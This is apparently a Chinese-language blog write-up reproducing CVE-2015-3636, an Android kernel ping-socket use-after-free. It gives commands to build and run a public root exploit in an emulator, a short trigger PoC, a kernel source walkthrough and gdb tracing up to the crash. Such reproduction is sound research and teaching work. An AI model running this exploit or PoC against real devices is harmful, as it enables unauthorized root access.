参考资料：CVE-2015-3636 漏洞复现 https://blingblingxuanxuan.github.io/2022/09/21/cve-2015-3636-52pojie-version/#%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87

因为exp比较复杂，所以exp的分析放在之后的文章中。（其实是因为我看不懂不想更新）

环境搭建与漏洞验证

使用的环境：

• ubuntu 14.04虚拟机: https://www.releases.ubuntu.com/14.04/ 
• 模拟器内核以及启动环境 https://www.52pojie.cn/thread-480759-1-1.html

环境搭建与漏洞利用步骤如下：

1. 将 ubuntu 虚拟机导入 Vmware。
2. 在 ubuntu 中解压下载的内核压缩包。
3. 编译 exp ，生成攻击代码。
4. 打开终端，执行 ./startEmulator.sh，开启安卓模拟器。
5. 新开一个终端， 首先输入 adb shell 获取 shell 权限。此时输入id 会发现 PID 为 0，也就是 root 用户。接下来执行su shell，切换到没有 root 权限的 shell 用户上。 最后再运行攻击代码，如果变成 root 用户，就说明提权成功。

编译环境配置

我尝试了两种 epx 编译方式，第一种通过arrch64编译生成攻击代码，第二种通过ndk编译生成攻击代码。使用后者成功提权，所以接下来介绍 Ubuntu 下 ndk 编译环境的搭建方式

cd ~wget https://dl.google.com/android/repository/android-ndk-r13b-linux-x86_64.zipunzip android-ndk-r13b-linux-x86_64.zip

现在 ndk 编译工具已经在 android-ndk-r13b-linux-x86_64 文件夹中。为了后续使用方便，可以尝试加入到环境变量中。

exp 编译

下载 exp 代码，并尝试编译。

cd ~git clone https://github.com/4B5F5F4B/Exploits.gitcd ~/Exploits/Linux/CVE-2015-3636~/android-ndk-r13b-linux-x86_64/ndk-build

编译成果位于 ~/Exploits/Linux/CVE-2015-3636/obj/local/arm64/exp 。

运行 exp

运行 ./startEmulator.sh，开启安卓模拟器。

新建终端，执行以下命令

adb push ~/Exploits/Linux/CVE-2015-3636/obj/local/arm64/exp /data/local/tmpadb shellsu shell  id/data/local/tmp/expid

首先，通过 adb shell 进入 Android 设备，随后执行 su shell 切换到 shell 用户上下文（uid=2000），此时仅为普通 adb 调试权限。运行 exp 之后，再次执行 id 命令，显示 uid=0(root) gid=0(root)，此时已成功获取 root 权限。如果最后成功提权，证明环境没有问题。

漏洞分析

从源码分析漏洞函数的调用流程

当用户使用socket(AF INET, SOCK DGRAM, IP PROTO ICMP)，内核将会进入inet_dgram_connect函数。 该函数根据地址族决定操作类型：如果uaddr->sa_family == AF_UNSPEC，则调用对应协议的 disconnect 函数执行断开操作，否则调用 connect 函数执行连接操作。 对于Ping(ICMP协议)的套接字，sk->sk_prot->disconnect的具体实现为udp_disconnect函数。该函数通过重置socket状态、清空对端地址和端口、重置绑定设备等步骤完成 UDP 协议的断开连接。

intinet_dgram_connect(struct socket *sock, struct sockaddr *uaddr,int addr_len, int flags){structsock *sk = sock->sk;if (uaddr->sa_family == AF_UNSPEC)return sk->sk_prot->disconnect(sk, flags);return sk->sk_prot->connect(sk, uaddr, addr_len);}EXPORT_SYMBOL(inet_dgram_connect);

如果用户没有绑定手动端口，该函数会进入调用sk->sk_prot->unhash(sk)函数。对于Ping(ICMP协议)的套接字，sk->sk_prot->unhash(sk)函数的具体实现是ping_v4_unhash函数。用于将套接字从UDP哈希表中移除。

intudp_disconnect(struct sock *sk, int flags){structinet_sock *inet = inet_sk(sk); sk->sk_state = TCP_CLOSE; inet->inet_daddr = 0; inet->inet_dport = 0; sock_rps_reset_rxhash(sk); sk->sk_bound_dev_if = 0;if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))  inet_reset_saddr(sk);if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {  sk->sk_prot->unhash(sk);  inet->inet_sport = 0; } sk_dst_reset(sk);return0;}EXPORT_SYMBOL(udp_disconnect);

hlist_nulls_node 是 Linux 内核专为哈希表设计的链表节点结构，其定义如下：

structhlist_nulls_node {structhlist_nulls_node *next, **pprev;};

其中 pprev 并非指向前驱节点本身，而是指向前驱节点的 next 指针的地址。 下面的函数通过if语句判断套接字是否加入哈希表，判断逻辑如下：如果sk->sk_node->pprev不为空，即 sk_node 已挂载在哈希表中，调用hlist_nulls_del函数将其移除。

staticvoidping_v4_unhash(struct sock *sk){structinet_sock *isk = inet_sk(sk); pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);if (sk_hashed(sk)) {  write_lock_bh(&ping_table.lock);  hlist_nulls_del(&sk->sk_nulls_node);  sock_put(sk);  isk->inet_num = 0;  isk->inet_sport = 0;  sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);  write_unlock_bh(&ping_table.lock); }}staticinlineboolsk_hashed(const struct sock *sk){return !sk_unhashed(sk);}staticinlineboolsk_unhashed(const struct sock *sk){return hlist_unhashed(&sk->sk_node);}staticinlineinthlist_unhashed(const struct hlist_node *h){return !h->pprev;}

hlist_node和hlist_nulls_node通过 union 共享同一块内存，sk_node 和 sk_nulls_node 分别是两者的别名。由于同一套接字在特定时刻只能属于一种哈希表，因此上述代码中传入 sk->sk_node 亦可视为 sk->sk_nulls_node。

structsock_common {union {structhlist_nodeskc_node;// 普通 hliststructhlist_nulls_nodeskc_nulls_node;// hlist_nulls    };};structsock {structsock_common __sk_common;#define sk_node   __sk_common.skc_node#define sk_nulls_node  __sk_common.skc_nulls_node}

hlist_nulls_del 函数用于删除节点 n：首先将 n 前驱节点的 next 指针指向 n 的后继节点；若 n 的后继节点不为空，则将其 pprev 指针指向前驱节点的 next 指针地址。

#define LIST_POISON2  ((void *) 0x00200200 + POISON_POINTER_DELTA)staticinlinevoid __hlist_nulls_del(struct hlist_nulls_node *n){structhlist_nulls_node *next = n->next;structhlist_nulls_node **pprev = n->pprev; *pprev = next;if (!is_a_nulls(next))  next->pprev = pprev;}staticinlinevoidhlist_nulls_del(struct hlist_nulls_node *n){ __hlist_nulls_del(n); n->pprev = LIST_POISON2;}

删除链表节点之后，调用sock_put函数，释放sk节点。

staticinlinevoidsock_put(struct sock *sk){  if (atomic_dec_and_test(&sk->sk_refcnt))    sk_free(sk);  }

以上是漏洞发生时调用的函数流程。

搭建gdb调试环境

在us-15-Xu-Ah-Universal-Android-Rooting-Is-Back-wp.pdf论文中，作者不仅指出了漏洞的存在位置，还提供了一个简单的 POC 来验证该漏洞。

PDF链接： https://blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back-wp.pdf

#include<stdio.h>#include<stdlib.h>#include<sys/socket.h>#include<linux/netlink.h>#include<linux/in.h>intmain(){int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);structsockaddr_insa;memset(&sa, 0, sizeof(sa));    sa.sin_family = AF_INET;    connect(sock, (const struct sockaddr *) &sa, sizeof(sa));    sa.sin_family = AF_UNSPEC;    connect(sock, (const struct sockaddr *) &sa, sizeof(sa));    connect(sock, (const struct sockaddr *) &sa, sizeof(sa));return0;}

使用arrch-linux-gnu-gcc编译poc。

aarch64-linux-gnu-gcc -o poc poc.c -static

提取内核符号

由于 Ubuntu14.04 默认的python3 版本为3.4，而python3.4无法安装 vumlinux-to-elf，所以我使用windows宿主机的 python3.12 环境安装 vumlinux-to-elf。

1. 打开python虚拟环境，安装 vumlinux-to-elf。

(PythonReverse) PS D:\practice_code\PythonReverse> uv add vmlinux-to-elf

1. 将题目中的Image拷贝到宿主机，使用vumlinux-to-elf生成vmlinux文件

(PythonReverse) PS D:\practice_code\PythonReverse> vmlinux-to-elf C:\Users\24526\Desktop\网安\安卓逆向\cve-2015-3636\Image C:\Users\24526\Desktop\网安\安卓逆向\cve-2015-3636\vmlinux_re.....[+] Successfully wrote the new ELF kernel to C:\Users\24526\Desktop\网安\安卓逆向\cve-2015-3636\vmlinux_re

1. 将生成的 vmlinux 文件复制到虚拟机，用于在gdb中导入内核符号。

搭建调试环境。

1. 运行~/android-problem-env/startEmulator。
2. 运行ps -ef 查看进程pid，获取qemu-system-aarch64的启动命令。

hzz@ubuntu:~/android-problem-env$ ps -ef | grep startEmulatorhzz       50620   3875  0 19:19 pts/2    00:00:00 /bin/bash ./startEmulatorhzz       50639   4804  0 19:20 pts/14   00:00:00 grep --color=auto startEmulatorhzz@ubuntu:~/android-problem-env$ ps -ef | grep 50620hzz       50620   3875  0 19:19 pts/2    00:00:00 /bin/bash ./startEmulatorhzz       50621  50620 99 19:19 pts/2    00:00:49 ./qemu/linux-x86_64/qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0 -serial mon:stdio -kernel .//Image -initrd .//ramdisk.img -drive index=0,id=sdcard,file=.//system.img -device virtio-blk-device,drive=sdcard -drive index=1,id=userdata,file=.//.//userdata.img -device virtio-blk-device,drive=userdata -drive index=2,id=cache,file=.//cache.img -device virtio-blk-device,drive=cache -drive index=3,id=system,file=.//system.img -device virtio-blk-device,drive=system -netdev user,id=mynet -device virtio-net-device,netdev=mynet -show-cursor -nographic -L lib/pc-bios

1. 上述命令表示启动qemu模拟器。在命令后面添加-s -S参数，表示在 TCP 端口 1234 开启 GDB 远程调试服务器，并且启动后暂停 CPU，等待 GDB 连接并发出 continue 命令后才运行。

hzz@ubuntu:~/android-problem-env$  ./qemu/linux-x86_64/qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append 'console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0' -serial mon:stdio -kernel ./Image -initrd ./ramdisk.img -drive index=0,id=sdcard,file=./system.img -device virtio-blk-device,drive=sdcard -drive index=1,id=userdata,file=././userdata.img -device virtio-blk-device,drive=userdata -drive index=2,id=cache,file=./cache.img -device virtio-blk-device,drive=cache -drive index=3,id=system,file=./system.img -device virtio-blk-device,drive=system -netdev user,id=mynet -device virtio-net-device,netdev=mynet -show-cursor -nographic -L lib/pc-bios -s -S

1. 新建窗口，运行gdb，加载前几步生成的内核符号。

hzz@ubuntu:~$ gdb-multiarch(gdb) set architecture aarch64The target architecture is assumed to be aarch64(gdb) target remote :1234Remote debugging using :12340x0000000040000000 in ?? ()(gdb) file ~/android-problem-env/vmlinux_re A program is being debugged already.Are you sure you want to change the file? (y or n) yReading symbols from ~/android-problem-env/vmlinux_re...(no debugging symbols found)...done.

1. gdb添加断点。

(gdb) b inet_dgram_connectBreakpoint 1 at 0xffffffc0003fe648

1. 此时qemu位于阻塞状态，gdb执行c命令之后，qemu正常运行。
2. 新建一个窗口，使用adb 终端运行poc。

hzz@ubuntu:~/android-problem-env$ adb shellroot@generic_arm64:/ # /data/local/tmp/poc

在gdb窗口发现程序正常下断，此时可以正常进行调试。

另外，可以尝试在adb窗口下执行这段命令，查找内核函数的符号信息。

sh -c " echo 0 > /proc/sys/kernel/kptr_restrict"cat /proc/kallsyms | grep xxx

具体调试步骤

使用上文的 POC ，对ping_unhash函数打一个断点。 运行 POC，gdb窗口正常下断。 在gdb窗口中，执行disassemble，得到ping_unhash的反汇编代码。

Dump of assembler code for function ping_unhash:# 函数序言=> 0xffffffc000409614 <+0>:	stp	x29, x30, [sp,#-32]!   0xffffffc000409618 <+4>:	mov	x29, sp   0xffffffc00040961c <+8>:	stp	x19, x20, [sp,#16]# if 判断条件：sk->nulls_node->pprev 是否为0     0xffffffc000409620 <+12>:	ldr	x1, [x0,#56]   0xffffffc000409624 <+16>:	cbz	x1, 0xffffffc000409694 <ping_unhash+128># 进入if语句：锁操作 + x19被赋值为sk的地址   0xffffffc000409628 <+20>:	adrp	x20, 0xffffffc000679000 <fib_info_devhash+1952>   0xffffffc00040962c <+24>:	mov	x19, x0   0xffffffc000409630 <+28>:	add	x0, x20, #0x98   0xffffffc000409634 <+32>:	add	x0, x0, #0x200   0xffffffc000409638 <+36>:	bl	0xffffffc0004acb44 <_raw_write_lock_bh># `hlist_nulls_del(&sk->sk_nulls_node)` 删除 sk 节点      0xffffffc00040963c <+40>:	ldr	x1, [x19,#56]   0xffffffc000409640 <+44>:	ldr	x0, [x19,#48]   0xffffffc000409644 <+48>:	str	x0, [x1]   0xffffffc000409648 <+52>:	tbz	w0, #0, 0xffffffc0004096a0 <ping_unhash+140>   0xffffffc00040964c <+56>:	mov	x0, #0x1360                	// #4960# sock_put中sk->refcnt -1   0xffffffc000409650 <+60>:	add	x2, x19, #0x44   0xffffffc000409654 <+64>:	str	x0, [x19,#56]   0xffffffc000409658 <+68>:	ldaxr	w0, [x2] //记载sk->refcnt   0xffffffc00040965c <+72>:	sub	w0, w0, #0x1   0xffffffc000409660 <+76>:	stlxr	w1, w0, [x2]   0xffffffc000409664 <+80>:	cbnz	w1, 0xffffffc000409658 <ping_unhash+68>   0xffffffc000409668 <+84>:	cbz	w0, 0xffffffc0004096a8 <ping_unhash+148>   0xffffffc00040966c <+88>:	ldr	x1, [x19,#40]   0xffffffc000409670 <+92>:	adrp	x0, 0xffffffc00062a000 <prepare_lock+32>   0xffffffc000409674 <+96>:	add	x0, x0, #0x540   0xffffffc000409678 <+100>:	strh	wzr, [x19,#14]   0xffffffc00040967c <+104>:	strh	wzr, [x19,#616]   0xffffffc000409680 <+108>:	mov	w2, #0xffffffff            	// #-1   0xffffffc000409684 <+112>:	bl	0xffffffc000360d90 <sock_prot_inuse_add>   0xffffffc000409688 <+116>:	add	x0, x20, #0x98   0xffffffc00040968c <+120>:	add	x0, x0, #0x200   0xffffffc000409690 <+124>:	bl	0xffffffc0004acc44 <_raw_write_unlock_bh>   0xffffffc000409694 <+128>:	ldp	x19, x20, [sp,#16]   0xffffffc000409698 <+132>:	ldp	x29, x30, [sp],#32   0xffffffc00040969c <+136>:	ret   0xffffffc0004096a0 <+140>:	str	x1, [x0,#8]   0xffffffc0004096a4 <+144>:	b	0xffffffc00040964c <ping_unhash+56>   0xffffffc0004096a8 <+148>:	mov	x0, x19   0xffffffc0004096ac <+152>:	bl	0xffffffc00035ea84 <sk_free>   0xffffffc0004096b0 <+156>:	b	0xffffffc00040966c <ping_unhash+88>End of assembler dump.

在 POC 中， sock 断开了两次连接。

    sa.sin_family = AF_UNSPEC;    connect(sock, (const struct sockaddr *) &sa, sizeof(sa));    connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

第一次断开连接时删除并释放sk节点，但是删除的过程中将sk->sk_nulls_node->pprev赋值为LIST_POISON2。第二次断开连接时，由于进入删除函数的条件是sk->sk_nulls_node->pprev不为空，所以被释放的sk再次进入hlist_nulls_del函数。这就导致了 UAF 漏洞。

用gdb调试观察这个过程。 程序第二次断在ping_unhash函数时，pc寄存器指向如下：

(gdb) x/10i $pc=> 0xffffffc00040961c <ping_unhash+8>: stp x19, x20, [sp,#16]   0xffffffc000409620 <ping_unhash+12>: ldr x1, [x0,#56]   0xffffffc000409624 <ping_unhash+16>:     cbz x1, 0xffffffc000409694 <ping_unhash+128>   0xffffffc000409628 <ping_unhash+20>:     adrp x20, 0xffffffc000679000 <fib_info_devhash+1952>   0xffffffc00040962c <ping_unhash+24>: mov x19, x0(gdb) si0xffffffc000409620 in ping_unhash ()(gdb) si0xffffffc000409624 in ping_unhash ()(gdb) si0xffffffc000409628 in ping_unhash ()(gdb) x/10i $pc=> 0xffffffc000409628 <ping_unhash+20>:     adrp x20, 0xffffffc000679000 <fib_info_devhash+1952>   0xffffffc00040962c <ping_unhash+24>: mov x19, x0   0xffffffc000409630 <ping_unhash+28>: add x0, x20, #0x98   0xffffffc000409634 <ping_unhash+32>: add x0, x0, #0x200(gdb) i r x1x1             0x1360 4960

继续单步执行，程序在这里出问题：

0xffffffc000409644 <ping_unhash+48>: str x0, [x1]

程序想要将数据写入sk->sk_nulls_node->pprev指向的地址0x1360中。但是由于0x1360无法访问，导致kernel panic。